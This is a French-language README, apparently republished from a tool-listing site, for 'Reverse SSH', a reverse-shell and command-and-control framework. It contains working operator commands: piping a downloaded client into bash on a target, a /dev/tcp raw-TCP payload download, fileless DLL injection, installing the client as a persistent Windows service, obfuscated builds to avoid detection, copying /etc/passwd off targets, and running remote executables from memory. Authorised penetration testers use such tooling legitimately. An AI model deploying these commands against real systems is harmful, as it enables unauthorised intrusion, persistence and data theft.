Reverse SSH

icon
(Crédit artistique : https://www.instagram.com/smart.hedgehog.art/)

Vous voulez utiliser SSH pour les shells inversés ? Maintenant c'est possible.

Gérez et connectez-vous aux shells inversés avec la syntaxe SSH native
Redirection dynamique, locale et distante
Implémentations natives SCP et SFTP pour récupérer des fichiers depuis vos cibles
Shell Windows complet
Transports réseau multiples, comme http, websockets, tls et plus
Authentification mutuelle client et serveur pour créer des canaux de contrôle de haute confiance Et plus encore !```text +----------------+ +---------+ | | | | | | +---------+ RSSH | | Reverse | | | Client | | SSH server | | | | | | | +---------+ +---------+ | | | | | | | | | Human | SSH | | SSH | +---------+ | Client +-------->+ <-----------------+ | | | | | | | RSSH | +---------+ | | | | Client | | | | | | | | | +---------+ | | | | | | +----------------+ | +---------+ | | | | | RSSH | +---------+ Client | | | +---------+

https://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1

- [SSH inversé](#reverse-ssh)
  - [TL;DR](#tldr)
    - [Configuration](#setup)
    - [Utilisation de base](#basic-usage)
  - [Sponsors](#sponsors)
    - [Particuliers](#individuals)
    - [Entreprises](#companies)
  - [Fonctionnalités avancées](#fancy-features)
    - [Privilèges](#privileges)
    - [Reconnexion automatique](#automatic-connect-back)
    - [Téléchargement de shell inversé (génération de client et serveur HTTP intégré)](#reverse-shell-download-client-generation-and-in-built-http-server)
    - [Transports alternatifs (HTTP/Websockets/TLS)](#alternate-transports-httpwebsocketstls)
    - [Autocomplétion Bash](#bash-autocomplete)
    - [Génération de DLL Windows](#windows-dll-generation)
    - [Sous-systèmes SSH](#ssh-subsystems)
      - [Tous](#all)
      - [Linux](#linux)
      - [Windows](#windows)
    - [Intégration de service Windows](#windows-service-integration)
    - [Prise en charge complète du shell Windows](#full-windows-shell-support)
    - [Webhooks](#webhooks)
    - [Tun (VPN)](#tun-vpn)
    - [Exécution sans fichier (les clients prennent en charge le téléchargement dynamique d'exécutables à exécuter en tant que shell)](#fileless-execution-clients-support-dynamically-downloading-executables-to-execute-as-shell)
      - [Schémas URI pris en charge](#supported-uri-schemes)
- [Aide](#help)
  - [Windows](#windows-help)
    - [SFTP](#windows-and-sftp)
    - [Erreurs de création de session (0xc0000142)](#session-spawn-errors-0xc0000142)
  - [Le serveur démarré avec `--insecure` a toujours `Failed to handshake`](#server-started-with---insecure-still-has-failed-to-handshake)
  - [Avant-plan vs Arrière-plan](#foreground-vs-background)
- [Dons, soutien ou contribution](#donations-support-or-giving-back)

## TL;DR

### Configuration

La version Docker est recommandée car elle inclut la bonne version de Golang et un compilateur croisé pour Windows.```sh
# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v ./data:/data reversessh/reverse_ssh

ou docker compose:```yaml services: reversessh: image: reversessh/reverse_ssh ports: - "3232:2222" environment: - EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 - RSSH_CONSOLE_LABEL=c2.label - RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL - SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY} volumes: - ./data:/data

### Utilisation de base```sh
# Connect to the server console
ssh your.rssh.server.internal -p 3232


# List all server console commands
catcher$ help

# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25


# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh |  bash

# then we can then list what clients are connected
catcher$ ls
                                 Targets
+------------------------------------------+-----------------------------------+
| IDs                                      | Version                           |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 |                                   |
| dummy.machine                            |                                   |
| 192.168.0.11:34542                       |                                   |
+------------------------------------------+-----------------------------------+

Toutes les commandes supportent le drapeau -h pour afficher l'aide.

Ensuite, les commandes ssh typiques fonctionnent, spécifiez simplement votre serveur rssh comme hôte de rebond.```sh

Connect to full shell

ssh -J your.rssh.server.internal:3232 dummy.machine

Start remote forward

ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine

Start dynamic forward

ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine

SCP

scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .

## Sponsors 

Un immense merci aux personnes suivantes pour leurs dons au projet RSSH et qui rendent tout cela possible ! 

### Particuliers
[chikamobina](https://github.com/chikamobina) pour leurs généreux dons !  
[wrighterase (ctrlzero)](https://github.com/wrighterase) pour leurs pull requests et leur don ! 

### Entreprises

[Carapace](https://carapace.nz/) est une société de conseil en sécurité basée en Nouvelle-Zélande avec une équipe extrêmement talentueuse !  
[<img src="https://assets.kitploit.com/production/public/readmes/5627/b077b138b5108d69a3bcb10eea9d5f195914c9fb4653689923b3a10a1ee38a64.png">](https://carapace.nz/)


## Fonctionnalités avancées


### Privilèges
Le serveur RSSH prend en charge des privilèges utilisateur très basiques. Les utilisateurs présents dans le dossier `data-directory`/`keys` (spécifié par `--datadir`) par exemple `data-directory/keys/jim` seront assignés en tant qu'"utilisateur" capable uniquement de voir les clients qui sont publics (trouvés dans le fichier authorized_controllee_keys sans balise `owners`, ou avec une balise `owners` vide) ou spécifiquement assignés à eux, par exemple `owners="jim"`. 

Cela peut être modifié au moment de l'exécution par un utilisateur partageant l'accès à un client qu'il possède avec la commande `access`, ou par un administrateur du serveur. Par défaut, toute clé publique trouvée dans le fichier `authorized_keys` sera marquée comme administrateur pour conserver la compatibilité ascendante.
Toute modification effectuée par la commande `access` ne persistera pas après un redémarrage du serveur, et nécessitera la modification du fichier `authorized_controllee_keys` pour ce client spécifique. 

### Reconnexion automatique

Le client rssh vous permet d'intégrer une adresse de reconnexion.
Par défaut, la commande `link` intégrera l'adresse externe du serveur.

Si vous construisez manuellement le binaire (pour une raison quelconque), vous pouvez spécifier la variable d'environnement `RSSH_HOMESERVER` pour l'intégrer dans le client :```sh
$ RSSH_HOMESERVER=your.rssh.server.internal:3232 make

# Will connect to your.rssh.server.internal:3232, even though no destination is specified
$ bin/client

# Behaviour is otherwise normal; will connect to the supplied host, e.g example.com:3232
$ bin/client -d example.com:3232

Téléchargement du reverse shell (génération du client et serveur HTTP/Raw TCP intégré)

Le serveur RSSH peut construire et héberger des binaires clients (commande link). C'est la méthode privilégiée pour construire et servir les clients. Pour que la fonction fonctionne, le serveur doit être placé dans le dossier bin/ du projet, car il doit trouver le code source du client.

Par défaut, la version docker a tout cela correctement intégré et est recommandée pour l'utilisation.```sh ssh your.rssh.server.internal -p 3232

catcher$ link -h

link [OPTIONS] Link will compile a client and serve the resulting binary on a link which is returned. This requires the web server component has been enabled. --fingerprint Set RSSH server fingerprint will default to server public key --garble Use garble to obfuscate the binary (requires garble to be installed) --goarch Set the target build architecture (default runtime GOARCH) --goarm Set the go arm variable (not set by default) --goos Set the target build operating system (default runtime GOOS) --http Use http polling as the underlying transport --https Use https polling as the underlying transport --log-level Set default output logging levels, [INFO,WARNING,ERROR,FATAL,DISABLED] --lzma Use lzma compression for smaller binary at the cost of overhead at execution (requires upx flag to be set) --name Set the link download url/filename (default random characters) --no-lib-c Compile client without glibc --ntlm-proxy-creds Set NTLM proxy credentials in format DOMAIN\USER:PASS --owners Set owners of client, if unset client is public all users. E.g --owners jsmith,ldavidson --proxy Set connect proxy address to bake it --raw-download Download over raw TCP, outputs bash downloader rather than http --shared-object Generate shared object file --sni When TLS is in use, set a custom SNI for the client to connect with --stdio Use stdin and stdout as transport, will disable logging, destination after stdio:// is ignored --tls Use TLS as the underlying transport --upx Use upx to compress the final binary (requires upx to be installed) --use-kerberos Instruct client to try and use kerberos ticket when using a proxy --working-directory Set download/working directory for automatic script (i.e doing curl https://.sh) --ws Use plain http websockets as the underlying transport --wss Use TLS websockets as the underlying transport -C Comment to add as the public key (acts as the name) -l List currently active download links -o Set owners of client, if unset client is public all users. E.g --owners jsmith,ldavidson -r Remove download link -s Set homeserver address, defaults to server --external_address if set, or server listen address if not

Generate a client and serve it on a named link

catcher$ link --name test http://your.rssh.server.internal:3232/test

Ensuite, vous pouvez le télécharger comme suit :```sh
wget http://your.rssh.server.internal:3232/test
chmod +x test
./test

Ou vous pouvez utiliser le TCP brut pour télécharger le binaire client :```sh bash -c "exec 3<>/dev/tcp/your.rssh.server.internal/3232; echo RAWtest>&3; cat <&3" > test

Le format pour cela est simplement `RAW` suivi du nom du fichier, c'est-à-dire dans ce cas `test`, rssh peut générer cela automatiquement pour vous avec `--raw-download`.

Le serveur RSSH supporte également les terminaisons de chemin URL `.sh`, `.py` et `.ps1` qui généreront un script que vous pouvez passer à un interpréteur:```sh
curl http://your.rssh.server.internal:3232/test.sh | sh

Transports alternatifs (HTTP/Websockets/TLS)

Le serveur et le client SSH inversé prennent tous deux en charge plusieurs transports lorsque l'inspection profonde des paquets bloque SSH sortant d'un hôte ou d'un réseau. Vous pouvez soit spécifier manuellement le schéma de connexion de retour en le spécifiant comme une URL dans le client.

E.g```sh ./client -d ws://your.rssh.server:3232

Ou en l'intégrant en dur avec la commande `link`.```sh
ssh your.rssh.server -p 3232 link --ws --name test

Bash autocomplete

Le serveur RSSH dispose de la commande autocomplete qui s'intègre bien avec bash afin que vous puissiez avoir des autocomplétions lorsque vous n'utilisez pas la console du serveur. Pour les installer, il suffit de faire :```sh ssh your.rssh.server.internal -p 3232 autocomplete --shell-completion your.rssh.server.internal:3232

Et cela retournera une autocomplétion qui peut être ajoutée à votre `.zshrc` ou `.bashrc`

Ex.```sh
_RSSHCLIENTSCOMPLETION()
{
    local cur=${COMP_WORDS[COMP_CWORD]}
    COMPREPLY=( $(compgen -W "$(ssh your.rssh.server.internal -p 3232 autocomplete --clients)" -- $cur) )
}

_RSSHFUNCTIONSCOMPLETIONS()
{
    local cur=${COMP_WORDS[COMP_CWORD]}
    COMPREPLY=( $(compgen -W "$(ssh your.rssh.server.internal -p 3232 help -l)" -- $cur) )
}

complete -F _RSSHFUNCTIONSCOMPLETIONS ssh your.rssh.server.internal -p 3232 

complete -F _RSSHCLIENTSCOMPLETION ssh -J your.rssh.server.internal:3232

complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 exec 
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 connect 
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 listen -c 
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 kill

Vous permettant d'effectuer des complétions directement depuis votre terminal:```sh

Will give you an option based on what clients are connected

ssh -J your.rssh.server.internal:3232

### Génération de DLL Windows

Vous pouvez compiler le client en DLL pour être chargé avec quelque chose comme [Invoke-ReflectivePEInjection](https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1). Ce qui est utile lorsque vous souhaitez effectuer une injection sans fichier du client rssh.

Cela nécessitera un compilateur croisé si vous faites cela sous linux, utilisez `mingw-w64-gcc`, il est inclus dans la version docker.```bash
# Using the link command
catcher$ link --goos windows --shared-object --name windows_dll
http://your.rssh.server.internal:3232/windows_dll

# If building manually
CC=x86_64-w64-mingw32-gcc GOOS=windows RSSH_HOMESERVER=192.168.1.1:2343 make client_dll

Sous-systèmes SSH

Le protocole SSH prend en charge l'appel de sous-systèmes avec le drapeau -s. Dans RSSH, cela est réutilisé pour fournir des commandes spéciales pour les plateformes et le support sftp.

Tous

list Liste les sous-systèmes disponibles

sftp : Exécute le gestionnaire sftp pour transférer des fichiers

Linux

setgid : Tentative de changement de groupe

setuid : Tentative de changement d'utilisateur

Windows

service : Installe ou supprime le binaire rssh en tant que service Windows, nécessite des droits d'administrateur

p. ex.```sh

Install the rssh binary as a service (windows only)

ssh -J your.rssh.server.internal:3232 test-pc.user.test-pc -s service --install

### Intégration des services Windows

Le binaire client RSSH peut être exécuté dans un service Windows et ne dépassera pas le délai d'expiration de 10 secondes. C'est idéal pour créer des services de gestion persistants.

### Prise en charge complète du shell Windows

La plupart des shells inversés pour Windows peinent à générer un environnement shell qui prend en charge le redimensionnement, le copier-coller et toutes les autres fonctionnalités que nous apprécions tous.
Ce projet utilise `conpty` sur les versions récentes de Windows, et la bibliothèque `winpty` (qui se décompresse automatiquement) sur les versions plus anciennes. Cela devrait signifier que presque toutes les versions de Windows vous offriront un joli shell.

### Webhooks

Le serveur RSSH peut envoyer des requêtes HTTP brutes configurées à l'aide de la commande `webhook` depuis l'interface du terminal.

Commencez par activer un webhook :```bash
$ ssh your.rssh.server.internal -p 3232
catcher$ webhook --on http://localhost:8080/

Ensuite, déconnectez-vous ou connectez un client, cela déclenchera une requête POST au format suivant.```bash $ nc -l -p 8080 POST /rssh_webhook HTTP/1.1 Host: localhost:8080 User-Agent: Go-http-client/1.1 Content-Length: 165 Content-Type: application/json Accept-Encoding: gzip

{"Status":"connected","ID":"ae92b6535a30566cbae122ebb2a5e754dd58f0ca","IP":"[::1]:52608","HostName":"user.computer","Timestamp":"2022-06-12T12:23:40.626775318+12:00"}%

Note supplémentaire : veuillez utiliser le point de terminaison `/slack` si vous connectez ceci à Discord.

### Tun (VPN)

RSSH et SSH prennent en charge la création d'interfaces tuntap qui vous permettent de router le trafic et de créer un pseudo-VPN. Cela nécessite un peu plus de configuration qu'un simple forwarding local ou distant (`-L`, `-R`), mais dans ce mode, vous pouvez envoyer `UDP` et `ICMP`.

#### Avis important

Si vous vous connectez à un client RSSH malveillant, il pourra se reconnecter à votre périphérique tunnel. Il est donc important de ne pas activer le forwarding, et soit d'avoir des règles de pare-feu pour bloquer toute connexion vers la machine locale, soit d'exécuter ceci depuis un conteneur/netns.

Installez un client sur une machine distante ; cela ne fonctionnera pas si votre client RSSH se trouve sur le même hôte que votre périphérique tun.```sh
sudo ssh -J your.rssh.server.internal:3232 user.wombo -w 0:any

sudo ip link set dev tun0 up
sudo ip route add 0.0.0.0/0 dev tun0

Cela présente certaines limites : il ne peut envoyer que UDP/TCP/ICMP, et non des protocoles de couche 3 arbitraires. ICMP est un service au mieux et peut utiliser l'outil ping de l'hôte distant, car les sockets ICMP sont privilégiées sur la plupart des machines. Cela ne prend pas non plus en charge les périphériques tap, par exemple VPN de couche 2, car cela nécessiterait un accès administratif.

Exécution sans fichier (les clients prennent en charge le téléchargement dynamique d'exécutables à exécuter en tant que shell)

Lors de la spécification de l'exécutable que le binaire rssh doit exécuter, que ce soit lors d'une connexion avec une session PTY complète ou d'une exécution brute, le client prend en charge les schémas URI pour télécharger des exécutables hors hôte.

Par exemple.```sh connect --shell https://your.host/program <rssh_client_id> ssh -J your.rssh.server:3232 <rssh_client_id> https://your.host/program

#### Schémas d'URI pris en charge

`http/https` : Téléchargement web pur

`rssh` : Téléchargement via le serveur rssh

Le serveur rssh sert le contenu depuis le répertoire `downloads` dans le répertoire de travail des exécutables.

Ces deux méthodes utilisent de manière opportuniste [memfd](https://man7.org/linux/man-pages/man2/memfd_create.2.html) qui n'écrit aucun exécutable sur le disque.

# Aide

## Windows

### SFTP

En raison des limitations de SFTP (ou plutôt de la bibliothèque que j'utilise pour cela). Les chemins nécessitent un peu plus d'efforts sur Windows.```sh
sftp -r -J your.rssh.server.internal:3232 test-pc.user.test-pc:'/C:/Windows/system32'

Note le / avant le caractère de départ.

Erreurs de génération de session (0xc0000142)

Dans certaines circonstances d'exécution, la connexion à un client RSSH sur windows peut échouer sans erreur.```sh catcher$ connect windows-system Session has terminated.

Logs client:```sh
2025/08/24 18:25:39 [client] INFO session.go:52 func16() : Session got request: "shell"
2025/08/24 18:25:39 [client] INFO shell_windows.go:137 runWithConpty() : New process with pid 3427 spawned
2025/08/24 18:25:39 [client] INFO session.go:122 func16() : Session disconnected

Il y a deux causes courantes à cela : la première est que l'antivirus a tué le powershell généré, et l'autre 0xc0000142 se produit lorsque le processus résultant n'a pas les autorisations nécessaires pour accéder à la Station de travail Windows ou au Bureau source.

Pour déterminer ce qui cause ce problème, exécutez n'importe quelle commande sans pty :```sh ssh -J rssh windows-system cmd /c dir
exit status 0xc0000142

Si vous voyez le code d'erreur `0xc0000142`, essayez de démarrer `CMD.exe` en forçant l'allocation d'un pty (`-t`):```sh
ssh -t -J rssh windows-system CMD.exe

Cela devrait démarrer un shell interactif.

Serveur démarré avec `--insecure` affiche toujours `Failed to handshake`

Si le binaire client a été généré avec la commande link, ce client intègre par défaut l'empreinte de la clé publique du serveur. Si vous perdez votre clé privée serveur, les clients ne pourront plus se connecter. Vous pouvez également générer des clients avec link --fingerprint <empreinte ici> pour spécifier une empreinte, il n'existe actuellement aucun moyen de désactiver cette fonctionnalité selon la version 1.0.13.

Premier plan vs Arrière-plan

Par défaut, les clients s'exécutent en arrière-plan puis le processus parent se termine ; le processus enfant reçoit les stdout/stderr du processus parent, vous pourrez donc voir la sortie. Si vous devez déboguer votre client, utilisez le drapeau --foreground.

Dons, Soutien ou Rétribution

La façon la plus simple de contribuer au projet RSSH est de trouver des bugs, d'ouvrir des demandes de fonctionnalités et de le recommander de bouche à oreille aux personnes qui pourraient le trouver utile !

Cependant, si vous souhaitez me soutenir directement, vous pouvez le faire via Kofi ou Github Sponsors (sous « Sponsor this Project » sur le côté droit). Ou faites un don en envoyant des fonds sur l'un des portefeuilles suivants :

Monero (XMR) : 8A8TRqsBKpMMabvt5RxMhCFWcuCSZqGV5L849XQndZB4bcbgkenH8KWJUXinYbF6ySGBznLsunrd1WA8YNPiejGp3FFfPND Bitcoin (BTC) : bc1qm9e9sfrm7l7tnq982nrm6khnsfdlay07h0dxfr

reverse_ssh

Populaires